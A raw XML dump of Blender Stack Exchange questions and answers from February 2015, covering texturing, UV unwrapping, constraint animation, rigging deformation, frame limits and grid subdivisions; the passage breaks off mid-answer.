  <row Id="24577" PostTypeId="2" ParentId="24572" CreationDate="2015-02-11T05:49:55.513" Score="4" Body="&lt;p&gt;The meshes share the same texture. You have to duplicate the texture as well by clicking on that number next to the name in that field where you select the texture. I think it says &quot;make single user copy&quot; on mouseover (don't have Blender open right now)&lt;/p&gt;&#xA;" OwnerUserId="7923" LastActivityDate="2015-02-11T05:49:55.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24578" PostTypeId="2" ParentId="24575" CreationDate="2015-02-11T05:59:56.853" Score="3" Body="&lt;p&gt;Here's a very little known, even less used special feature: Snapping average.&#xA;It sets a mean location for any point you hit &lt;kbd&gt;A&lt;/kbd&gt; while hovering over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable snapping of the proper type. Hit &lt;kbd&gt;G&lt;/kbd&gt; and move the object to a vertex and hit &lt;kbd&gt;A&lt;/kbd&gt;. Repeat this process for all the other vertices that you need the average of.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-02-11T05:59:56.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24579" PostTypeId="2" ParentId="24554" CreationDate="2015-02-11T07:17:48.267" Score="0" Body="&lt;p&gt;Syntactically something like this should work (I striped the DB code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;mat_M= bpy.data.materials.get('2015')&#xA;year='2014'&#xA;for obj in bpy.data.objects:&#xA;    c = None&#xA;    print(obj)&#xA;    if obj.type=='MESH':&#xA;        c=obj&#xA;    if c == None:&#xA;        continue                      &#xA;    c.active_material=mat_M&#xA;    c.hide=False          &#xA;    if c.name in bpy.data.groups[&quot;Child&quot;].objects:&#xA;        parent=c.parent&#xA;        recentParent = [[2014],[2015]]&#xA;        for recent in recentParent:                      &#xA;            if recent[0]!=None:&#xA;                yearParent=str(recent)&#xA;                if yearParent&amp;gt;=year:&#xA;                    c.hide=True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;for recent in recentParent&lt;/code&gt; iterates over the result of the db query, try your exact statement in a UI for your SQL server. If it doesn't return any data you need to fix that first. DB connections are better ask on stackoverflow. Note that there is a space in &lt;code&gt;id_ works&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-11T07:17:48.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24581" PostTypeId="1" CreationDate="2015-02-11T08:09:07.310" Score="5" ViewCount="4085" Body="&lt;p&gt;I had a sword object rigged with a single bone, with a ChildOf constraint making it a child of a sheath (with an influence of 1). Throughout an animation i move the sheath, and the sword bone follows as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, i cant seem to lower the influence of the sheath to zero and still have the sword retain the position it was just at, and I am wondering how i should go about making this happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="11527" LastActivityDate="2021-04-14T12:51:01.853" Title="Changing ChildOf constraint influence to 0, but keeping the position it had as a child" Tags="&lt;animation&gt;&lt;constraints&gt;" AnswerCount="5" CommentCount="4" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24582" PostTypeId="2" ParentId="24581" CreationDate="2015-02-11T09:21:47.567" Score="3" Body="&lt;p&gt;For dynamic parenting use the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/Dynamic_Parent&quot; rel=&quot;nofollow&quot;&gt;Dynamic Parent&lt;/a&gt; addon. It does what you want well and fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you need to keyframe your sword transforms, but this addon will do this for you.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-11T09:21:47.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24583" PostTypeId="2" ParentId="23045" CreationDate="2015-02-11T11:00:52.210" Score="0" Body="&lt;p&gt;From your screenshots, i see no &quot;input color space&quot; (what is weird). try to select one (sRGB). Check also your scene settings/Color management about the same parameter (display and sequencer color space).&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-11T11:00:52.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24584" PostTypeId="1" CreationDate="2015-02-11T11:12:11.193" Score="1" ViewCount="636" Body="&lt;p&gt;Last night windows updated and restarted computer while blender was rendering. Today that file will not run - freezes blender if I try to load it and so does the immediately previous .blend file.  If I could find the place where the preferences file is kept maybe I could fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;New information:&lt;/strong&gt;&#xA;Strangely I ran the .blend1  version of the file and it works.  (I have lost some work because the .blend1 was an hour or two earlier and I can't remember how I did stuff)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a previous 'freeze' problem I solved it by changing the names of the preferences.blend files in the  Appdata location, so I thought this time it was the same kind of problem and that there must be yet another place where the data is stored, but maybe same symptom but different cause.  Don't know what messed those files up (for both versions of blender 2.72b and 2.73) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for the effort you went to to explain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS- have changed windows setting to ask me before installing updates.&lt;/p&gt;&#xA;" OwnerUserId="11281" LastEditorUserId="11281" LastEditDate="2015-02-11T20:36:40.033" LastActivityDate="2015-02-11T20:36:40.033" Title="Where does a .blend file store its user preferences?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-02-11T22:30:25.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="24585" PostTypeId="2" ParentId="24584" CreationDate="2015-02-11T11:35:03.370" Score="1" Body="&lt;p&gt;C:\Users\ [UserName] \AppData\Roaming\Blender Foundation\Blender there are folders for each version (2.72, 2.73) where data is stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appdata folder is hidden by default, you can change windows settings or enter the path it manually in explorer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not specific to your blend file but blender's preferences. A blend file stores it's data inside the blend files. But you can prevent some prefs to be loaded with unchecking &quot;load UI&quot; when opening a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7p4lu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can change blender preferences unchecking &quot;Load UI&quot; and &quot;aurorun python scripts&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/offvo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the file is opened, you can check what's needed and save a clean version of it.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-11T12:08:44.277" LastActivityDate="2015-02-11T12:08:44.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24586" PostTypeId="1" CreationDate="2015-02-11T12:04:58.003" Score="0" ViewCount="34" Body="&lt;p&gt;So I'm making this Lego figure for college and I'm having trouble with the UV mapping. It looks fine in textured view but in rendered view it displays wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link contains an images of the textured and rendered parts so you can see the difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/a/HdjWq&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://imgur.com/a/HdjWq&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be an easy fix but I'm just plain stupid when it comes to blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="11530" LastActivityDate="2015-02-11T12:04:58.003" Title="UV mapping problem" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-02-11T12:50:46.657" ContentLicense="CC BY-SA 3.0" />
  <row Id="24587" PostTypeId="2" ParentId="24573" CreationDate="2015-02-11T12:26:09.220" Score="1" Body="&lt;p&gt;Unity doesn't support lattice deformation, but it does support bone deformation which can be used in many cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example (left side is lattice, right side is bone):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vRgSm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get it to look even better if your especially careful with the weight painting.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2015-02-11T12:26:09.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24588" PostTypeId="1" CreationDate="2015-02-10T15:38:21.397" Score="2" ViewCount="629" Body="&lt;p&gt;Hi I have a problem when texture painting on a huge plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I zoom or pan my view (even just pan without zooming) and paint on a location I painted before, the texture gets an offset and of course does not fit anymore to the rest I painted.&lt;/p&gt;&#xA;" OwnerDisplayName="Subby" LastEditorUserId="2217" LastEditDate="2015-02-12T20:07:11.130" LastActivityDate="2015-02-12T20:07:11.130" Title="Texture painting, zoom pan causes texture to get an offset" Tags="&lt;3d-view&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24589" PostTypeId="2" ParentId="24588" CreationDate="2015-02-11T10:05:16.057" Score="5" Body="&lt;p&gt;You can use stencil for the brush mapping. This gives you a semi-transparent overlay of the texture that you can position before painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/paJ3x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot;&gt; RMB&lt;/kbd&gt; to move the texture &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt; &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot;&gt; RMB&lt;/kbd&gt; to rotate it and &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt; &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot;&gt; RMB&lt;/kbd&gt; to scale it&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2015-02-11T10:05:16.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24591" PostTypeId="2" ParentId="24581" CreationDate="2015-02-11T13:20:09.547" Score="7" Body="&lt;p&gt;The trick to unparenting is to animate the constraint and the objects location. On one frame you keyframe the objects location using Insert visual locrotscale, the &lt;strong&gt;visual keying options&lt;/strong&gt; will keyframe values &lt;strong&gt;after modifiers and constraints are applied&lt;/strong&gt;. You also key the constraint influence as 1.0 on this frame. Then move one frame and keyframe the childof influence as 0.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you keyframe the visual location and change the constraint to 0.0 the object will snap back to it's original position. Once you keyframe the influence go back a frame and it will go back to where the keyframes put it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also have two constraints, one parenting to the sheath and another parenting to the hand. You just have one at 0.0 influence and the other at 1.0 influence on one frame and swap them around the next frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X5dGI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample blend&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/1190/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=1190&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2016-04-12T07:34:17.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24592" PostTypeId="1" AcceptedAnswerId="24605" CreationDate="2015-02-11T14:14:55.130" Score="9" ViewCount="3862" Body="&lt;p&gt;I'm currently working on a project that has a total of 304,593 frames, but when I fed this number into the timeline end point it reverted back to a solid 300,000. This is a hard limit for those wondering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot input more than this many frames, is there a way to override this? Including possible python options.&lt;/p&gt;&#xA;" OwnerUserId="5634" LastActivityDate="2017-03-12T15:47:45.607" Title="How do I increase the max number of frames?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24593" PostTypeId="1" CreationDate="2015-02-11T15:14:49.850" Score="1" ViewCount="58" Body="&lt;p&gt;I'm having the problem that i can't re-scale (move) the Keyframes made by keyed animations of my geometry...when i do that the animation just appears as the same as before, but i did move the keyframes, but nothing happens at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9TwZ8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-11T15:14:49.850" Title="Why i can't re-scale the keyframes from a keyed geometry animation on the dope-sheet?" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24596" PostTypeId="1" CreationDate="2015-02-11T16:23:13.407" Score="3" ViewCount="713" Body="&lt;p&gt;I'm using a volumetric spot light, and in a animation, i'm moving the light so it shows some elements, and for now i got there three objects, but i do want to know if for example it is possible to totally hide (fade in totally black) the objects that aren't below the light, as you can see in the picture, those are still shown, as faded-gray objects.&#xA;I already changed the light strenght, but if i do that i lose another illumination detail that i already made.&#xA;Is there any way to fix this? if not ill just edit the video on an editing software using a mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in regard :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jdehH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-12T18:37:51.607" Title="Using a volumetric spot light, it is possible to hide totally the elements that the light doesn't reach?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;geometry&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24597" PostTypeId="2" ParentId="24596" CreationDate="2015-02-11T16:33:26.977" Score="3" Body="&lt;p&gt;You can change your spot with a 0 bounce (direct light only). The light won't bounce outside you volume anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aL2iQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will affect the lighting of your main object (no indirect light), so you can move the 2 others to another layer and add a &quot;no bounce&quot; Spotlight (duplicated or parented if animation is needed) and composite render layers. Your main object (with a spot with more than 0 max bounce) will have a nice direct and indirect lighting and the others won't be affected by bounces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setting was added in blender 2.73 official release (&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.73/Cycles&quot; rel=&quot;nofollow noreferrer&quot;&gt;release notes&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-12T13:28:24.587" LastActivityDate="2015-02-12T13:28:24.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24598" PostTypeId="1" CreationDate="2015-02-11T17:15:39.427" Score="0" ViewCount="121" Body="&lt;p&gt;I am a newbie to blender. As a part of my coursework I have to do an animation video. I have created  a model, rigged him but now I wonder how to export the animation (pose mode) as a video. There was no proper explanation on it in youtube,vimeo,dailymotion,google. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not satisfied with previous below question answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to save animation as a video format [duplicate] (&lt;a href=&quot;https://blender.stackexchange.com/questions/23522/how-to-save-animation-as-a-video-format&quot;&gt;How to save animation as a video format&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone guide me to a video lecture on this or someone please help in rectifying my current situation&lt;/p&gt;&#xA;" OwnerUserId="11538" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-02-11T17:23:55.960" Title="How can I export a Blender Animation as a Video?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;blender-internal-render-engine&gt;&lt;video&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-02-11T17:47:17.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="24599" PostTypeId="1" AcceptedAnswerId="24600" CreationDate="2015-02-11T17:20:12.657" Score="5" ViewCount="363" Body="&lt;p&gt;I've been trying to precisely position the 3D cursor, something I've always done by positioning it in one of the 3 standard ortho views, and then switching to another and positioning it again. Today it won't work. I press 1 on the number pad and position it nicely, press 7 and do it again, and when I press 1 again it is well above where I want it. Positioning it in 3 puts it off to the right. Every time it adjusts in exactly the same way, hopping around, but never maintains the position I gave it in the previous view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried checking any settings that could maybe affect it. I'm learning Blender and probably I've missed something, but I've never seen this behaviour before. I have v2.73. What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I saw in the answer to '&lt;a href=&quot;https://blender.stackexchange.com/q/13828/7548&quot;&gt;Precisely move the 3d cursor&lt;/a&gt;' that in the N panel in Edit Mode there is a section called 3d cursor, where numerical values are entered. So I placed the cursor in front view, switched to top view, and entered a numerical value for Y (because it only had to be 0 for Y). But that is a workaround and doesn't explain what is going on.&lt;/p&gt;&#xA;" OwnerUserId="7548" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-02-11T18:51:59.193" Title="How can I stop the 3D cursor hopping around when positioned in top, front, and right view?" Tags="&lt;3d-view&gt;&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24600" PostTypeId="2" ParentId="24599" CreationDate="2015-02-11T17:33:52.913" Score="7" Body="&lt;p&gt;New versions of blender have added a default option on the cursor, snapping it to object's surface. In user preferences (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt; or File menu) interface tab, uncheck &quot;cursor depth&quot; to have your cursor free again!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9yfnS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-11T17:33:52.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24601" PostTypeId="1" CreationDate="2015-02-11T17:44:46.003" Score="2" ViewCount="1142" Body="&lt;p&gt;When I place an image on to a plane ( lets say it's a striped black and white pattern ) all I see in the rendered viewport is a GREY! color.  As if the colors of the image are mixed.&#xA;When I place an image texture of a blue sky and green field I see a blue-ish / green-ish color in mij Cycles rendered viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand how to add a screenshot of my Blender scene to this message, but I have one if you need more information.  Just mail me:  eluttger@gmail.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help, Emil&lt;/p&gt;&#xA;" OwnerUserId="863" LastActivityDate="2015-02-11T18:30:12.650" Title="image texture on plane leaves average color of image in 3d-view" Tags="&lt;cycles-render-engine&gt;&lt;image&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24602" PostTypeId="1" AcceptedAnswerId="24603" CreationDate="2015-02-11T17:46:51.230" Score="2" ViewCount="642" Body="&lt;p&gt;I'm pretty new to blender and used it to model a castle and print it.&#xA;Now I want to extend the model by textures and render it, but even when I render&#xA;it with basic material i get some strange output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does somebody know my error? I already corrected the normals and they look fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X4GdS.png&quot; alt=&quot;Model:&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pY5au.png&quot; alt=&quot;Render:&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11540" LastEditorUserId="12" LastEditDate="2015-02-11T18:52:41.320" LastActivityDate="2015-02-11T18:52:41.320" Title="Object appears smoothed after rendering but not in viewport" Tags="&lt;rendering&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24603" PostTypeId="2" ParentId="24602" CreationDate="2015-02-11T17:53:21.200" Score="4" Body="&lt;p&gt;you have a subdivision surface modifier (or multiresolution) set to render only, not visible in viewport but active when rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kf6nr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the eye to see it, click the X to remove it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As suggested by Chebhou, the subsurf modifier can also be different in viewport/render because of the subdivision levels number set for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ODTZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-11T18:03:53.683" LastActivityDate="2015-02-11T18:03:53.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24604" PostTypeId="1" AcceptedAnswerId="24606" CreationDate="2015-02-11T18:12:16.120" Score="0" ViewCount="1556" Body="&lt;p&gt;I have created a character-model in Blender. After rigging and skinning it, I noticed that it deforms in a undesired way. Everything moves pretty much as expected, but the mesh around joints deforms weirdly(Screenshots below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening? Is it due to a low amount of vertices? What can I do to create smoother deformations that look natural?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Character in T-pose:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZZgHS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When his arm is rotated downwards. Look at how thin the upper part of his upper arm is:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gt2jU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up close:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yqTFW.png&quot; alt=&quot;Up close&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His upper arm is very thin at the shoulder area, but has normal width at his elbows.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2015-02-11T23:05:19.520" LastActivityDate="2015-02-11T23:05:19.520" Title="How to make character-mesh deform naturally when animating?" Tags="&lt;modeling&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24605" PostTypeId="2" ParentId="24592" CreationDate="2015-02-11T18:12:47.403" Score="7" Body="&lt;p&gt;This limit cannot be changed. You cannot alter builtin properties deriving from &lt;code&gt;bpy.types.Property&lt;/code&gt;. Every attribute in &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bpy.types.IntProperty.html?highlight=intproperty#bpy.types.IntProperty&quot; rel=&quot;nofollow noreferrer&quot;&gt;api docs&lt;/a&gt; is marked as readonly.&#xA;The scene's &lt;code&gt;frame_end&lt;/code&gt; property hard and soft maximum is just set to 500,000*.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to render longer video than that you will have to do that in another software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using negative frames or messing with time-remapping does not help.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;*&lt;em&gt;As of 2&lt;sup&gt;nd&lt;/sup&gt; March 2016 the maximum is 500,000 (previously 300,000):&#xA;&lt;br&gt;&lt;a href=&quot;https://developer.blender.org/rBf7062b2407c65dcf85904242281a13339d47a20a&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/rBf7062b2407c65dcf85904242281a13339d47a20a&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="241" LastEditDate="2017-03-12T15:47:45.607" LastActivityDate="2017-03-12T15:47:45.607" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24606" PostTypeId="2" ParentId="24604" CreationDate="2015-02-11T18:17:00.937" Score="2" Body="&lt;p&gt;Add edge loops on your mesh  at both sides of a bones joint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; with the mouse cusror on an edge, click to add one (roll middle mouse button for more than 1), slide mouse to place it, click when it's where you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EsTSY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When done, parent your armature again with automatic weight (you'll play with weights later :))&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-11T18:28:55.053" LastActivityDate="2015-02-11T18:28:55.053" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24607" PostTypeId="2" ParentId="24601" CreationDate="2015-02-11T18:19:16.783" Score="5" Body="&lt;p&gt;When using an &lt;em&gt;Image Texture&lt;/em&gt; you need to &lt;strong&gt;UV unwrap your mesh&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, go into edit mode, select all vertices, and press &lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;&gt; Unwrap&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R2mxA.gif&quot; alt=&quot;Unwrap GIF&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening, is Blender has no coordinates to map the texture to, so it takes the &lt;strong&gt;average image color&lt;/strong&gt; and uses that as the texture. When you UV unwrap the mesh, you are telling Blender what vertices go where in relation to the texture, and Blender can then project the texture onto the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you now go to the &lt;em&gt;UV/Image Editor&lt;/em&gt; you can see and edit how your mesh has been unwrapped:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l2qSt.gif&quot; alt=&quot;UV Edit&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-11T18:30:12.650" LastActivityDate="2015-02-11T18:30:12.650" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24608" PostTypeId="1" AcceptedAnswerId="24609" CreationDate="2015-02-11T18:44:14.367" Score="3" ViewCount="8272" Body="&lt;p&gt;I'm following this &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/An_aMAZEing_game_engine_tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt;, when I use Add &gt; Mesh &gt; grid and then scale it, I get a grid with 9x9 squares:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F7E4v.png&quot; alt=&quot;9x9 grid&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the maze, I want the grid to have more squares (15x15 for e.g) however, no mater how big I scale it it remains 9x9 squares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to control the number of squares this grid has?&lt;/p&gt;&#xA;" OwnerUserId="11541" LastEditorUserId="12" LastEditDate="2015-02-11T18:54:45.523" LastActivityDate="2015-02-11T18:54:45.523" Title="How to change subdivisions after adding a grid" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-02-11T18:54:59.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="24609" PostTypeId="2" ParentId="24608" CreationDate="2015-02-11T18:46:50.123" Score="3" Body="&lt;p&gt;Immediately after adding the grid (See &lt;a href=&quot;https://blender.stackexchange.com/questions/7850/is-there-any-way-to-edit-parameters-for-an-object-after-it-is-created/7851#7851&quot;&gt;here&lt;/a&gt; for details as to why it has to be immediate) you can access various options at the bottom of the 3D toolbar (where it says &lt;em&gt;Toggle Editmode&lt;/em&gt; in your screenshot) such as the x and y subdivisions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z3vrK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also access these options (again, immediately after adding the grid) by pressing &lt;kbd&gt;F6&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you should:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add the grid.&lt;/li&gt;&#xA;&lt;li&gt;Increase x and y subdivisions as 